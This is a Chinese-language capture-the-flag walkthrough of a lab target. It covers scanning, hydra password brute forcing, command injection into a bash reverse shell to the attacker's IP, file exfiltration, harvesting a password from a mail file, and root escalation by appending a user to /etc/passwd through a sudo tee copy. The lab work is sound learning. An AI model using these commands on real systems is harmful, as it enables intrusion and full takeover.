nmap扫描端口 ---- gobuster扫描网站目录 ---- hydra爆破网站登录密码 ---- 利用RCE漏洞getshell ---- 获取jim的ssh密码 ---- 邮件中获取charles的ssh密码 ---- sudo tee提权
靶机:192.168.101.109
攻击机:192.168.101.34
sudo nmap -sV -sC -p- 192.168.101.109
只发现22和80端口
浏览器访问80端口发现是一个登录页面,目前有两个思路,一个是利用sql注入绕过用户名密码验证登录,另一个是进行用户名密码爆破。
首先尝试了sql注入,没有发现线索;想要尝试用户名密码爆破,但是kali中的burp是社区版,爆破非常慢,而使用hydra的话,由于这个登录页面登录失败时没有任何提示,所以无法用失败提示进行爆破。
尝试扫描网站目录找到更多线索
gobuster dir -u http://192.168.101.109 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php
扫出来几个页面,但都需要先登录
根据网站目录扫描结果,可以推测登录成功后会跳转到/command.php页面,也许页面有command这个单词,因此可以尝试用hydra的登录成功提示进行扫描。
另外根据登录页面“Admin Information Systems Login”,猜测用户名是admin。
下面尝试用hydra对admin的密码进行爆破
hydra -l admin -P top1000.txt 192.168.101.109 http-post-form "/login.php:username=^USER^&password=^PASS^:S=command"
密码字典从这里下载
https://github.com/k8gege/PasswordDic
得到admin的密码happy
登录成功后来到下图所示页面,虽然和预想的跳转到/command.php页面不同,但是确实页面有单词command
点击Command,跳转到http://192.168.101.109/command.php
点Run按钮会显示系统命令执行后的结果
用burp抓包,将下图所示报文发送到repeater模块
将bash -c 'exec bash -i &>/dev/tcp/192.168.101.34/8888 <&1'在burp的decoder模块进行URL编码
在攻击机上监听8888端口
nc -nlvp 8888
用编码后的结果替代radio的值并发送
攻击机监听端口获得靶机www-data用户的shell
家目录下发现3个用户
在/home/jim下发现一个不寻常的文件test.sh,不但有suid,而且还任意用户可写
试了半天没提权到jim,网上查了一下,发现shell脚本设置suid位是不生效的。
参见:linux提权——suid提权 - tomyyyyy - 博客园
逛了一圈之后发现在/home/jim/backups目录下有个叫old-passwords.bak的文件,里面有很多貌似密码的字符串
接下来想办法把这个文件取出来。
在靶机上/home/jim/backups目录下用python3起http服务:
python3 -m http.server 9090
攻击机上用wget下载old-passwords.bak:
wget http://192.168.101.109:9090/old-passwords.bak
然后用hydra爆破jim的ssh登录密码:
hydra -l jim -P old-passwords.bak ssh://192.168.101.109
得到密码jibril04
以用户名jim,密码jibril04进行ssh登录,成功登录靶机
ssh jim@192.168.101.109
在jim的家目录下还看到一个mbox文件,打开发现是一封测试邮件
也许其他邮件中会泄露什么信息
全局搜索mail文件或文件夹
find / -name mail 2>/dev/null
其中在/var/mail和/var/spool/mail有一封相同的邮件,文件名叫jim,内容如下图所示
从图中可见,Charles的密码是^xHhA&hvim0y
切换到charles,然后执行sudo -l
发现charles可以以root身份执行/usr/bin/teehee
由于/usr/bin/teehee是个自创命令,因此可以先执行/usr/bin/teehee --help
来看看这个命令怎么使用
从命令帮助来看,这个应该就是tee命令的副本,功能和tee命令是一样的
试试用tee命令的提权方法来提权:
在靶机的/etc/passwd文件中新增一个用户fancy,密码为123456,其他都和root用户一致:
(1)在攻击机上用openssl生成写入passwd的用户的密码md5散列
openssl passwd -1 -salt dc4 123456
得到$1$dc4$et4u0w92ZYIY4bsJE/gJG0
(2)在靶机/etc/passwd文件中新增用户fancy
echo 'fancy:$1$dc4$et4u0w92ZYIY4bsJE/gJG0:0:0:root:/root:/bin/bash' | sudo /usr/bin/teehee -a /etc/passwd
(3)su - fancy
密码为刚刚设置的123456
成功提权到root,并在/root目录下找到flag.txt